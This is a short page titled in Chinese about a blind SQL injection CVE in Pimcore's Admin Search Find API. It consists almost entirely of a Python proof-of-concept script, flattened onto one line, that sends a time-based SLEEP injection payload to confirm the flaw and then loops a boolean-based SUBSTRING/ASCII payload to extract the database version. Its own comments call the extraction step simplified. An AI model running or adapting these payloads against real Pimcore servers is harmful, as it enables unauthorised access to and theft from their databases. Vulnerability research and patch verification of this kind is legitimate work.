CVE-2026-23492 Pimcore Admin Search Find API 盲注SQL注入漏洞

import requests import time # CVE-2026-23492 PoC - Blind SQL Injection in Pimcore Admin Search Find API # Target: Pimcore < 12.3.1 and < 11.5.14 TARGET_URL = "http://target.com/admin/search/find" SESSION_COOKIE = {"pimcore_admin_sid": "your_session_cookie"} def test_blind_sql_injection(): """ Test for blind SQL injection vulnerability in Admin Search Find API. This PoC demonstrates time-based blind SQL injection using SLEEP() function. """ # Normal request baseline normal_payload = {"q": "test"} start_time = time.time() response = requests.post(TARGET_URL, json=normal_payload, cookies=SESSION_COOKIE) normal_time = time.time() - start_time # SQL injection payload - time-based blind injection # This payload will cause a 5-second delay if vulnerable injection_payload = { "q": "test' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '", "_type": "asset" } start_time = time.time() response = requests.post(TARGET_URL, json=injection_payload, cookies=SESSION_COOKIE) injection_time = time.time() - start_time if injection_time > 4.5: # If delay is approximately 5 seconds print("[+] Vulnerability confirmed! Time-based blind SQL injection works.") print(f"[+] Normal response time: {normal_time:.2f}s") print(f"[+] Injection response time: {injection_time:.2f}s") else: print("[-] Vulnerability not detected or target is patched.") def extract_database_version(): """ Extract database version using boolean-based blind SQL injection. """ # Test if database is MySQL for i in range(1, 50): payload = { "q": f"test' AND ASCII(SUBSTRING((SELECT version()),{i},1))>0 AND '", "_type": "asset" } response = requests.post(TARGET_URL, json=payload, cookies=SESSION_COOKIE) # Analyze response to determine character value # This is a simplified example - real PoC would need proper response analysis if response.status_code == 200: print(f"[*] Position {i}: Database version extraction possible") break if __name__ == "__main__": print("[*] CVE-2026-23492 PoC - Pimcore Blind SQL Injection") print("[*] Target: Admin Search Find API") test_blind_sql_injection()